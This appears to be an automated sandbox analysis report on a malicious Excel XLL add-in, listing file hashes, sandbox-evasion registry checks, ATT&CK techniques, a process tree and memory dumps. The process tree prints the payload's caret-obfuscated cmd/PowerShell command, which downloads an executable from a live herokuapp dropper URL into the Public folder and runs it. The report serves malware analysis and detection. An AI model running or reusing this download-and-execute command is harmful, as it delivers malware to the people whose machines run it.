77053fc3db5dd11f96a97e04542ff529ade7b42be4c5d35c18582b990ab1ff9a

Analysis

max time kernel
117s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20231023-en
resource tags

arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
submitted
29/10/2023, 02:48

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General

Target

339c8034365586d01a26d3a2830b8978b00dabf55ab44ff2bb3c410fa77dfb29.xll
Size

16KB
MD5

e1d24fb776bcfd1877ecfbc50d0bb69a
SHA1

a56aa775f250a0d3921ca5bd395d17229e9908cf
SHA256

339c8034365586d01a26d3a2830b8978b00dabf55ab44ff2bb3c410fa77dfb29
SHA512

8436de2d3a9e4675c5761e89ec3cdcde4c3c1431d70bbb082b3a0f193138040f129611e414e874dab35323556d971715b9be8b77c78c6b2fd91045cb41194855
SSDEEP

384:KWT9lyoWUlfxV1v10JOc+Z0iEBhuFr7C:K29l6ox/10JAZ0uh

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://botfusion1-8f4913f37609.herokuapp.com/315031/doc78?hash=AgADNh

Extracted

Language

xlm4.0

Source

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	8	4828	cmd.exe	68

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
4828	EXCEL.EXE
4828	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3164	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4828	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2784	powershell.exe
2784	powershell.exe
2784	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2784	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4828	EXCEL.EXE
4828	EXCEL.EXE

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
4828	EXCEL.EXE
4828	EXCEL.EXE
4828	EXCEL.EXE
4828	EXCEL.EXE
4828	EXCEL.EXE
4828	EXCEL.EXE
4828	EXCEL.EXE
4828	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4828 wrote to memory of 8	4828	EXCEL.EXE	93
PID 4828 wrote to memory of 8	4828	EXCEL.EXE	93
PID 8 wrote to memory of 2784	8	cmd.exe	94
PID 8 wrote to memory of 2784	8	cmd.exe	94
PID 8 wrote to memory of 3164	8	cmd.exe	98
PID 8 wrote to memory of 3164	8	cmd.exe	98
PID 8 wrote to memory of 2196	8	cmd.exe	100
PID 8 wrote to memory of 2196	8	cmd.exe	100

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\339c8034365586d01a26d3a2830b8978b00dabf55ab44ff2bb3c410fa77dfb29.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c pow^er^she^ll start-bitstransfer -source 'https://botfusion1-8f4913f37609.herokuapp.com/315031/doc78?hash=AgADNh' -destination %public%\f.exe&&timeout 15&&%public%\f.exe
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:8
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell start-bitstransfer -source 'https://botfusion1-8f4913f37609.herokuapp.com/315031/doc78?hash=AgADNh' -destination C:\Users\Public\f.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2784
- - C:\Windows\system32\timeout.exe
    timeout 15
    3⤵
    - Delays execution with timeout.exe
    PID:3164
- - C:\Users\Public\f.exe
    C:\Users\Public\f.exe
    3⤵
    PID:2196

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\339c8034365586d01a26d3a2830b8978b00dabf55ab44ff2bb3c410fa77dfb29.xll

Filesize
16KB

MD5
e1d24fb776bcfd1877ecfbc50d0bb69a

SHA1
a56aa775f250a0d3921ca5bd395d17229e9908cf

SHA256
339c8034365586d01a26d3a2830b8978b00dabf55ab44ff2bb3c410fa77dfb29

SHA512
8436de2d3a9e4675c5761e89ec3cdcde4c3c1431d70bbb082b3a0f193138040f129611e414e874dab35323556d971715b9be8b77c78c6b2fd91045cb41194855

Download Submit
C:\Users\Admin\AppData\Local\Temp\339c8034365586d01a26d3a2830b8978b00dabf55ab44ff2bb3c410fa77dfb29.xll

Filesize
16KB

MD5
e1d24fb776bcfd1877ecfbc50d0bb69a

SHA1
a56aa775f250a0d3921ca5bd395d17229e9908cf

SHA256
339c8034365586d01a26d3a2830b8978b00dabf55ab44ff2bb3c410fa77dfb29

SHA512
8436de2d3a9e4675c5761e89ec3cdcde4c3c1431d70bbb082b3a0f193138040f129611e414e874dab35323556d971715b9be8b77c78c6b2fd91045cb41194855

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ts51zhp3.isx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2196-67-0x000001E05BB30000-0x000001E05CAA9000-memory.dmp

Filesize
15.5MB

Download
memory/2196-66-0x000001E058490000-0x000001E05939A000-memory.dmp

Filesize
15.0MB

Download
memory/2196-65-0x000001E05BB30000-0x000001E05CAA9000-memory.dmp

Filesize
15.5MB

Download
memory/2196-63-0x000001E05BB30000-0x000001E05CAA9000-memory.dmp

Filesize
15.5MB

Download
memory/2196-64-0x000001E05BB30000-0x000001E05CAA9000-memory.dmp

Filesize
15.5MB

Download
memory/2196-61-0x000001E05BB30000-0x000001E05CAA9000-memory.dmp

Filesize
15.5MB

Download
memory/2196-60-0x000001E058490000-0x000001E05939A000-memory.dmp

Filesize
15.0MB

Download
memory/2196-59-0x000001E057B50000-0x000001E05848D000-memory.dmp

Filesize
9.2MB

Download
memory/2784-42-0x00000271FC8F0000-0x00000271FC900000-memory.dmp

Filesize
64KB

Download
memory/2784-35-0x00000271FC970000-0x00000271FC992000-memory.dmp

Filesize
136KB

Download
memory/2784-58-0x00007FFBD00B0000-0x00007FFBD0B71000-memory.dmp

Filesize
10.8MB

Download
memory/2784-55-0x00000271FC8F0000-0x00000271FC900000-memory.dmp

Filesize
64KB

Download
memory/2784-54-0x00000271FC8F0000-0x00000271FC900000-memory.dmp

Filesize
64KB

Download
memory/2784-51-0x00000271FC8F0000-0x00000271FC900000-memory.dmp

Filesize
64KB

Download
memory/2784-50-0x00007FFBD00B0000-0x00007FFBD0B71000-memory.dmp

Filesize
10.8MB

Download
memory/2784-45-0x00000271FCB50000-0x00000271FCB64000-memory.dmp

Filesize
80KB

Download
memory/2784-44-0x00000271FCB00000-0x00000271FCB26000-memory.dmp

Filesize
152KB

Download
memory/2784-43-0x00000271FC8F0000-0x00000271FC900000-memory.dmp

Filesize
64KB

Download
memory/2784-41-0x00000271FC8F0000-0x00000271FC900000-memory.dmp

Filesize
64KB

Download
memory/2784-40-0x00007FFBD00B0000-0x00007FFBD0B71000-memory.dmp

Filesize
10.8MB

Download
memory/4828-48-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-11-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-9-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-12-0x00007FFBB6510000-0x00007FFBB6520000-memory.dmp

Filesize
64KB

Download
memory/4828-17-0x00007FFBB6510000-0x00007FFBB6520000-memory.dmp

Filesize
64KB

Download
memory/4828-0-0x00007FFBB8570000-0x00007FFBB8580000-memory.dmp

Filesize
64KB

Download
memory/4828-21-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-20-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-19-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-46-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-47-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-13-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-49-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-18-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-16-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-15-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-14-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-10-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-8-0x00007FFBB8570000-0x00007FFBB8580000-memory.dmp

Filesize
64KB

Download
memory/4828-7-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-6-0x00007FFBB8570000-0x00007FFBB8580000-memory.dmp

Filesize
64KB

Download
memory/4828-4-0x00007FFBB8570000-0x00007FFBB8580000-memory.dmp

Filesize
64KB

Download
memory/4828-5-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-2-0x00007FFBB8570000-0x00007FFBB8580000-memory.dmp

Filesize
64KB

Download
memory/4828-3-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-1-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-76-0x00007FFBB8570000-0x00007FFBB8580000-memory.dmp

Filesize
64KB

Download
memory/4828-77-0x00007FFBB8570000-0x00007FFBB8580000-memory.dmp

Filesize
64KB

Download
memory/4828-78-0x00007FFBB8570000-0x00007FFBB8580000-memory.dmp

Filesize
64KB

Download
memory/4828-79-0x00007FFBB8570000-0x00007FFBB8580000-memory.dmp

Filesize
64KB

Download
memory/4828-80-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-81-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download
memory/4828-82-0x00007FFBF84F0000-0x00007FFBF86E5000-memory.dmp

Filesize
2.0MB

Download